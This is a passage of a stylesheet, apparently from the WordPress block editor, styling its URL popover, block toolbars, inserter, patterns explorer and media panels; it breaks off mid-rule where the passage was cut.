.block-editor-url-input__input[type=text]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.block-editor-url-input__input[type=text]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.block-editor-url-input__input[type=text]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.block-editor-url-input__suggestions{
  max-height:200px;
  overflow-y:auto;
  padding:4px 0;
  transition:all .15s ease-in-out;
  width:302px;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-url-input__suggestions{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
  display:none;
}
@media (min-width:600px){
  .block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
    display:grid;
  }
}

.block-editor-url-input__suggestion{
  background:#fff;
  border:none;
  box-shadow:none;
  color:#757575;
  cursor:pointer;
  display:block;
  font-size:13px;
  height:auto;
  min-height:36px;
  text-align:left;
  width:100%;
}
.block-editor-url-input__suggestion:hover{
  background:#ddd;
}
.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{
  background:var(--wp-admin-theme-color-darker-20);
  color:#fff;
  outline:none;
}

.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{
  position:inherit;
}

.block-editor-url-input__button .block-editor-url-input__back{
  margin-right:4px;
  overflow:visible;
}
.block-editor-url-input__button .block-editor-url-input__back:after{
  background:#ddd;
  content:"";
  display:block;
  height:24px;
  position:absolute;
  right:-1px;
  width:1px;
}

.block-editor-url-input__button-modal{
  background:#fff;
  border:1px solid #ddd;
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
}

.block-editor-url-input__button-modal-line{
  align-items:flex-start;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  flex-shrink:1;
  min-width:0;
}
.block-editor-url-input__button-modal-line .components-button{
  flex-shrink:0;
  height:36px;
  width:36px;
}

.block-editor-url-popover__additional-controls{
  border-top:1px solid #1e1e1e;
  padding:8px;
}

.block-editor-url-popover__input-container{
  padding:8px;
}

.block-editor-url-popover__row{
  display:flex;
  gap:4px;
}

.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){
  flex-grow:1;
  gap:8px;
}

.block-editor-url-popover__additional-controls .components-button.has-icon{
  height:auto;
  padding-left:8px;
  padding-right:8px;
  text-align:left;
}
.block-editor-url-popover__additional-controls .components-button.has-icon>svg{
  margin-right:8px;
}

.block-editor-url-popover__settings-toggle{
  flex-shrink:0;
}
.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{
  transform:rotate(180deg);
}

.block-editor-url-popover__settings{
  border-top:1px solid #1e1e1e;
  display:block;
  padding:16px;
}

.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{
  display:flex;
}

.block-editor-url-popover__link-viewer-url{
  align-items:center;
  display:flex;
  flex-grow:1;
  flex-shrink:1;
  margin-right:8px;
  max-width:350px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-url-popover__link-viewer-url.has-invalid-link{
  color:#cc1818;
}

.block-editor-url-popover__expand-on-click{
  align-items:center;
  display:flex;
  min-width:350px;
  white-space:nowrap;
}
.block-editor-url-popover__expand-on-click .text{
  flex-grow:1;
}
.block-editor-url-popover__expand-on-click .text p{
  line-height:16px;
  margin:0;
}
.block-editor-url-popover__expand-on-click .text p.description{
  color:#757575;
  font-size:12px;
}

.html-anchor-control .components-external-link{
  display:block;
  margin-top:8px;
}
.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack{
  flex-direction:row-reverse;
}
.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{
  flex-direction:row;
}
.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:16px;
}

.block-editor-hooks__background__inspector-media-replace-container{
  position:relative;
}
.block-editor-hooks__background__inspector-media-replace-container .components-drop-zone__content-icon{
  display:none;
}
.block-editor-hooks__background__inspector-media-replace-container button.components-button{
  box-shadow:inset 0 0 0 1px #ddd;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-editor-hooks__background__inspector-media-replace-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-editor-hooks__background__inspector-media-replace-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-hooks__background__inspector-media-replace-container .block-editor-hooks__background__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}
.block-editor-hooks__background__inspector-media-replace-container .components-dropdown{
  display:block;
}

.block-editor-hooks__background__inspector-image-indicator-wrapper{
  background:#fff linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  display:block;
  flex:none;
  height:20px;
  width:20px;
}
.block-editor-hooks__background__inspector-image-indicator-wrapper.has-image{
  background:#fff;
}

.block-editor-hooks__background__inspector-image-indicator{
  background-size:cover;
  border-radius:50%;
  display:block;
  height:20px;
  position:relative;
  width:20px;
}

.block-editor-hooks__background__inspector-image-indicator:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}

.border-block-support-panel .single-column{
  grid-column:span 1;
}
.color-block-support-panel .block-editor-contrast-checker{
  grid-column:span 2;
  margin-top:16px;
  order:9999;
}
.color-block-support-panel .block-editor-contrast-checker .components-notice__content{
  margin-right:0;
}
.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{
  row-gap:0;
}
.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{
  margin-top:0;
}

.dimensions-block-support-panel .single-column{
  grid-column:span 1;
}

.block-editor-hooks__layout-controls{
  display:flex;
  margin-bottom:8px;
}
.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit{
  display:flex;
  margin-right:24px;
}
.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit svg{
  margin:auto 0 4px 8px;
}

.block-editor-block-inspector .block-editor-hooks__layout-controls-unit-input{
  margin-bottom:0;
}

.block-editor-hooks__layout-controls-reset{
  display:flex;
  justify-content:flex-end;
  margin-bottom:24px;
}

.block-editor-hooks__layout-controls-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:16px;
}

.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{
  margin-bottom:12px;
}
.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{
  margin-bottom:8px;
}

.block-editor-hooks__toggle-control.block-editor-hooks__toggle-control{
  margin-bottom:16px;
}

.block-editor__padding-visualizer{
  border-color:var(--wp-admin-theme-color);
  border-style:solid;
  bottom:0;
  box-sizing:border-box;
  left:0;
  opacity:.5;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-hooks__position-selection__select-control .components-custom-select-control__hint{
  display:none;
}

.block-editor-hooks__position-selection__select-control__option.has-hint{
  grid-template-columns:auto 30px;
  line-height:1.4;
  margin-bottom:0;
}
.block-editor-hooks__position-selection__select-control__option .components-custom-select-control__item-hint{
  grid-row:2;
  text-align:left;
}

.typography-block-support-panel .single-column{
  grid-column:span 1;
}
.block-editor-block-toolbar{
  display:flex;
  flex-grow:1;
  overflow-x:auto;
  overflow-y:hidden;
  position:relative;
  transition:border-color .1s linear,box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-toolbar{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .block-editor-block-toolbar{
    overflow:inherit;
  }
}
.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{
  background:none;
  border:0;
  border-right:1px solid #ddd;
  line-height:0;
  margin-bottom:-1px;
  margin-top:-1px;
}
.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{
  border-right:none;
}

.block-editor-block-contextual-toolbar{
  background-color:#fff;
  display:block;
  flex-shrink:3;
  position:sticky;
  top:0;
  width:100%;
  z-index:31;
}
.block-editor-block-contextual-toolbar.components-accessible-toolbar{
  border:none;
  border-bottom:1px solid #e0e0e0;
  border-radius:0;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar{
  overflow:auto;
  overflow-y:hidden;
  scrollbar-color:#e0e0e0 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{
  background-color:initial;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:#e0e0e0;
  border:3px solid #0000;
  border-radius:8px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .block-editor-block-contextual-toolbar .block-editor-block-toolbar{
    scrollbar-color:#949494 #0000;
  }
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{
  display:none;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group{
  border-right-color:#e0e0e0;
}
.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{
  flex-grow:0;
  width:auto;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{
  margin-bottom:-1px;
  margin-top:-1px;
  position:relative;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{
  align-items:center;
  content:"·";
  display:inline-flex;
  font-size:16px;
  height:32px;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin:0 !important;
  width:24px !important;
}
.block-editor-block-toolbar__block-controls .components-toolbar-group{
  padding:0;
}

.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{
  display:flex;
  flex-wrap:nowrap;
}

.block-editor-block-toolbar__slot{
  display:inline-block;
  line-height:0;
}
@supports (position:sticky){
  .block-editor-block-toolbar__slot{
    display:inline-flex;
  }
}

.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}
.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  height:0 !important;
  min-width:0 !important;
  width:0 !important;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  border-bottom-right-radius:0;
  border-top-right-radius:0;
  padding-left:12px;
  padding-right:12px;
  text-wrap:nowrap;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{
  width:0;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{
  position:relative;
  width:auto;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#e0e0e0;
    content:"";
    height:1px;
    left:50%;
    margin-top:-.5px;
    position:absolute;
    top:50%;
    transform:translate(-50%);
    width:100%;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button{
  padding-left:8px;
  padding-right:8px;
}
.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-left:1px solid #ddd;
  margin-left:6px;
  margin-right:-6px;
  white-space:nowrap;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{
  width:auto;
}
.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{
  flex-shrink:1;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{
  margin-left:6px;
}

.block-editor-inserter{
  background:none;
  border:none;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:0;
  padding:0;
}
@media (min-width:782px){
  .block-editor-inserter{
    position:relative;
  }
}

.block-editor-inserter__main-area{
  display:flex;
  flex-direction:column;
  gap:16px;
  height:100%;
  overflow-y:hidden;
  position:relative;
}
.block-editor-inserter__main-area.show-as-tabs{
  gap:0;
}
@media (min-width:782px){
  .block-editor-inserter__main-area{
    width:350px;
  }
}

.block-editor-inserter__popover.is-quick .components-popover__content{
  border:none;
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
  outline:none;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{
  border-left:1px solid #ccc;
  border-right:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{
  border-radius:2px 2px 0 0;
  border-top:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{
  border-bottom:1px solid #ccc;
  border-radius:0 0 2px 2px;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{
  border:1px solid #1e1e1e;
}

.block-editor-inserter__popover .block-editor-inserter__menu{
  margin:-12px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs div[role=tablist]{
  top:60px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{
  height:auto;
  overflow:visible;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{
  display:none;
}

.block-editor-inserter__toggle.components-button{
  align-items:center;
  border:none;
  cursor:pointer;
  display:inline-flex;
  outline:none;
  padding:0;
  transition:color .2s ease;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-inserter__toggle.components-button{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-inserter__menu{
  height:100%;
  overflow:visible;
  position:relative;
}

.block-editor-inserter__inline-elements{
  margin-top:-1px;
}

.block-editor-inserter__menu.is-bottom:after{
  border-bottom-color:#fff;
}

.components-popover.block-editor-inserter__popover{
  z-index:99999;
}

.block-editor-inserter__search{
  padding:16px 16px 0;
}

.block-editor-inserter__tabs{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}
.block-editor-inserter__tabs div[role=tablist]{
  border-bottom:1px solid #ddd;
}
.block-editor-inserter__tabs div[role=tablist] button[role=tab]{
  flex-grow:1;
  margin-bottom:-1px;
}
.block-editor-inserter__tabs div[role=tablist] button[role=tab][id$=reusable]{
  flex-grow:inherit;
  padding-left:16px;
  padding-right:16px;
}
.block-editor-inserter__tabs div[role=tabpanel]{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow-y:auto;
}

.block-editor-inserter__no-tab-container{
  flex-grow:1;
  overflow-y:auto;
}

.block-editor-inserter__panel-header{
  align-items:center;
  display:inline-flex;
  padding:16px 16px 0;
}

.block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin:0 12px 0 0;
  text-transform:uppercase;
}

.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{
  height:36px;
  line-height:36px;
}

.block-editor-inserter__panel-dropdown select{
  border:none;
}

.block-editor-inserter__reusable-blocks-panel{
  position:relative;
  text-align:right;
}

.block-editor-inserter__manage-reusable-blocks-container{
  margin:auto 16px 16px;
}

.block-editor-inserter__manage-reusable-blocks{
  justify-content:center;
  width:100%;
}

.block-editor-inserter__no-results{
  padding:32px;
  text-align:center;
}

.block-editor-inserter__no-results-icon{
  fill:#949494;
}

.block-editor-inserter__child-blocks{
  padding:0 16px;
}

.block-editor-inserter__parent-block-header{
  align-items:center;
  display:flex;
}
.block-editor-inserter__parent-block-header h2{
  font-size:13px;
}
.block-editor-inserter__parent-block-header .block-editor-block-icon{
  margin-right:8px;
}

.block-editor-inserter__preview-container__popover{
  top:16px !important;
}

.block-editor-inserter__preview-container{
  display:none;
  max-height:calc(100% - 32px);
  overflow-y:hidden;
  padding:16px;
  width:280px;
}
@media (min-width:782px){
  .block-editor-inserter__preview-container{
    display:block;
  }
}
.block-editor-inserter__preview-container .block-editor-block-preview__container{
  height:100%;
}
.block-editor-inserter__preview-container .block-editor-block-card{
  padding-bottom:4px;
  padding-left:0;
  padding-right:0;
}

.block-editor-inserter__patterns-explore-button.components-button{
  justify-content:center;
  margin-top:16px;
  padding:16px;
  width:100%;
}

.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category{
  color:var(--wp-admin-theme-color);
  position:relative;
}
.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category .components-flex-item{
  filter:brightness(.95);
}
.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category svg{
  fill:var(--wp-admin-theme-color);
}
.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__block-patterns-tabs-container nav{
  height:100%;
}

.block-editor-inserter__block-patterns-tabs{
  display:flex;
  flex-direction:column;
  height:100%;
  overflow-y:auto;
  padding:16px;
}
.block-editor-inserter__block-patterns-tabs div[role=listitem]:last-child{
  margin-top:auto;
}
.block-editor-inserter__block-patterns-tabs .block-editor-inserter__patterns-category{
  padding-right:4px;
}

.block-editor-inserter__patterns-category-dialog{
  background:#f0f0f0;
  border-left:1px solid #e0e0e0;
  border-right:1px solid #e0e0e0;
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__patterns-category-dialog{
    display:block;
    left:100%;
    width:300px;
  }
}
.block-editor-inserter__patterns-category-dialog .block-editor-block-patterns-list{
  flex-grow:1;
  height:100%;
  overflow-y:auto;
  padding:16px 24px;
}

.block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  box-shadow:0 15px 25px #00000012;
}
.block-editor-block-patterns-list__list-item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012;
}

.block-editor-inserter__patterns-category-panel{
  display:flex;
  flex-direction:column;
  height:100%;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__patterns-category-panel{
    padding:0;
  }
}
.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-panel-header{
  padding:16px 24px;
}
.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-no-results{
  margin-top:24px;
}

.block-editor-inserter__preview-content{
  align-items:center;
  background:#f0f0f0;
  display:grid;
  flex-grow:1;
  min-height:144px;
}

.block-editor-inserter__preview-content-missing{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  color:#757575;
  display:flex;
  flex:1;
  justify-content:center;
  min-height:144px;
}

.block-editor-inserter__tips{
  border-top:1px solid #ddd;
  flex-shrink:0;
  padding:16px;
  position:relative;
}

.block-editor-inserter__quick-inserter{
  max-width:100%;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__quick-inserter{
    width:350px;
  }
}

.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{
  float:left;
  height:0;
  padding:0;
}

.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr;
  grid-gap:8px;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-preview__container{
  min-height:100px;
}

.block-editor-inserter__quick-inserter-separator{
  border-top:1px solid #ddd;
}

.block-editor-inserter__popover.is-quick>.components-popover__content{
  padding:0;
}

.block-editor-inserter__quick-inserter-expand.components-button{
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:block;
  height:44px;
  width:100%;
}
.block-editor-inserter__quick-inserter-expand.components-button:hover{
  color:#fff;
}
.block-editor-inserter__quick-inserter-expand.components-button:active{
  color:#ccc;
}
.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  box-shadow:none;
}

.block-editor-block-patterns-explorer__sidebar{
  bottom:0;
  left:0;
  overflow-x:visible;
  overflow-y:scroll;
  padding:24px 32px 32px;
  position:absolute;
  top:72px;
  width:280px;
}
.block-editor-block-patterns-explorer__sidebar__categories-list__item{
  display:block;
  height:48px;
  text-align:left;
  width:100%;
}
.block-editor-block-patterns-explorer__search{
  margin-bottom:32px;
}
.block-editor-block-patterns-explorer__search-results-count{
  padding-bottom:32px;
}
.block-editor-block-patterns-explorer__list{
  margin-left:280px;
  padding:24px 0 32px;
}
.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{
  width:380px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list{
  display:grid;
  grid-gap:32px;
  grid-template-columns:repeat(1, 1fr);
  margin-bottom:16px;
}
@media (min-width:1080px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(2, 1fr);
  }
}
@media (min-width:1440px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(3, 1fr);
  }
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  min-height:240px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-preview__container{
  height:inherit;
  max-height:800px;
  min-height:100px;
}

.block-editor-inserter__patterns-category-panel-title{
  font-size:16.25px;
}
.block-editor-inserter__media-tabs-container,.block-editor-inserter__media-tabs-container nav{
  height:100%;
}
.block-editor-inserter__media-tabs-container .block-editor-inserter__media-library-button{
  justify-content:center;
  margin-top:16px;
  padding:16px;
  width:100%;
}

.block-editor-inserter__media-tabs{
  display:flex;
  flex-direction:column;
  height:100%;
  overflow-y:auto;
  padding:16px;
}
.block-editor-inserter__media-tabs div[role=listitem]:last-child{
  margin-top:auto;
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category{
  padding-right:4px;
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected{
  color:var(--wp-admin-theme-color);
  position:relative;
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected .components-flex-item{
  filter:brightness(.95);
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected svg{
  fill:var(--wp-admin-theme-color);
}
.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-inserter__media-dialog{
  background:#f0f0f0;
  border-left:1px solid #e0e0e0;
  border-right:1px solid #e0e0e0;
  height:100%;
  left:0;
  overflow-y:auto;
  padding:16px 24px;
  position:absolute;
  scrollbar-gutter:stable both-edges;
  top:0;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__media-dialog{
    display:block;
    left:100%;
    width:300px;
  }
}
.block-editor-inserter__media-dialog .block-editor-block-preview__container{
  box-shadow:0 15px 25px #00000012;
}
.block-editor-inserter__media-dialog .block-editor-block-preview__container:hover{
  box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012;
}

.block-editor-inserter__media-panel{
  display:flex;
  flex-direction:column;
  min-height:100%;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__media-panel{
    padding:0;
  }
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{
  align-items:center;
  display:flex;
  flex:1;
  height:100%;
  justify-content:center;
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){
  --wp-components-color-background:#fff;
}

.block-editor-inserter__media-list{
  margin-top:16px;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item{
  cursor:pointer;
  margin-bottom:24px;
  position:relative;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item[draggable=true] .block-editor-block-preview__container{
  cursor:grab;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview{
  box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{
  display:block;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{
  position:absolute;
  right:8px;
  top:8px;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{
  background:#fff;
  border-radius:2px;
  display:none;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{
  display:block;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{
  box-shadow:inset 0 0 0 2px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item{
  height:100%;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{
  align-items:center;
  border-radius:2px;
  display:flex;
  overflow:hidden;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{
  margin:0 auto;
  max-width:100%;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{
  align-items:center;
  background:#ffffffb3;
  display:flex;
  height:100%;
  justify-content:center;
  pointer-events:none;
  position:absolute;
  width:100%;
}
.block-editor-inserter__media-list .block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview{
  box-shadow:inset 0 0 0 2px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{
  min-width:auto;
}

.block-editor-inserter__mobile-tab-navigation{
  height:100%;
  padding:16px;
}
.block-editor-inserter__mobile-tab-navigation>*{
  height:100%;
}

@media (min-width:600px){
  .block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{
    max-width:480px;
  }
}
.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{
  margin:0;
}

.block-editor-inserter__hint{
  margin:16px 16px 0;
}

.reusable-blocks-menu-items__rename-hint{
  align-items:top;
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  display:flex;
